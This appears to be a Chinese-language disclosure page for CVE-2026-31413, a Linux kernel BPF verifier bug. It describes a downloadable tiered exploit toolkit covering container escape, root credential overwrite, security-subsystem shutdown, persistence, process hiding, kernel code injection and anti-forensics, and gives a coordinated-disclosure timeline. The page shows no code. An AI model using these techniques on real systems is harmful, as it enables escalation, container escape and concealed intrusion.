CVE-2026-31413 - 已在 Linux 7.0-rc5 中修复。受影响范围:6.12.75+(stable 回移)至 7.0-rc4。

Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online

下载工具
层级文件能力
1exploit.c / exploit_gke.c容器逃逸 - vtable 劫持 + modprobe_path 覆写(即上文描述的核心漏洞利用)
v2exploit_gke_v2.c纯数据 cred 覆写 - 无 vtable 劫持、无 modprobe_path、无文件系统交互。自动检测 task_struct 布局。映射破坏窗口为零。推荐使用的漏洞利用。
2tier2_cred_overwrite.c直接凭据覆写 - 遍历 task_struct 链,找到当前任务,将 struct cred 中的 uid/gid/caps 清零以立即获得 root
3tier3_syscall_hook.c系统调用表挂钩 - 遍历页表使系统调用表可写,替换处理函数,从用户空间调用,然后还原
4tier4_security_disable.c安全子系统关停 - 禁用 SELinux、AppArmor、SMEP/SMAP/KPTI、dmesg_restrict、kptr_restrict;通过 /proc 验证
5tier5_cross_container.c跨容器凭据窃取 - 枚举 nsproxy 结构,在另一个命名空间中找到目标 PID 的 task_struct,修改其 creds
6tier6_persistence.c内核触发的持久化 - 覆写 modprobe_path 和 core_pattern,在二进制格式错误和崩溃时执行攻击者载荷
7tier7_hardware.c硬件级内省 - 转储 IDT,读取/解码 CR0/CR4,以完整权限矩阵遍历页表,恢复 KASLR 基址
8tier8_dkom_cloak.cDKOM 进程隐藏 - fork 一个子进程,找到其 task_struct,将其从内核任务列表中移除(对 ps/任务迭代器不可见),再重新链接
9tier9_code_inject.c内核代码实时注入 - 将 .text PMD 修补为可写,用 shellcode(mov rax, 0x1337; ret)覆写 sys_getuid 序言,从用户空间调用,然后还原
10tier10_anti_forensics.c反取证 - 转储 printk 环形缓冲区内部结构,篡改取证相关变量(ftrace、audit、dmesg_restrict、kptr_restrict),读写内核日志缓冲区文本
日期事件
2026-01-14bffacdb80b93 在 7.0-rc1 中引入 maybe_fork_scalars()
2026-03-04Bug 以 dea9989a3f 回移植到 6.12.y stable
2026-03-11我在验证器审计期间发现该 bug
2026-03-12确认 OOB 读/写,漏洞利用有效
2026-03-13容器逃逸 PoC 完成,并录制视频
2026-03-14补丁 v3 发送至 [email protected]
2026-03-22修复由 Alexei Starovoitov 合并到 bpf/bpf.git
2026-04-06Linus 将 bpf-fixes 标签合并到主线
2026-04-12CVE-2026-31413 由 Greg Kroah-Hartman 分配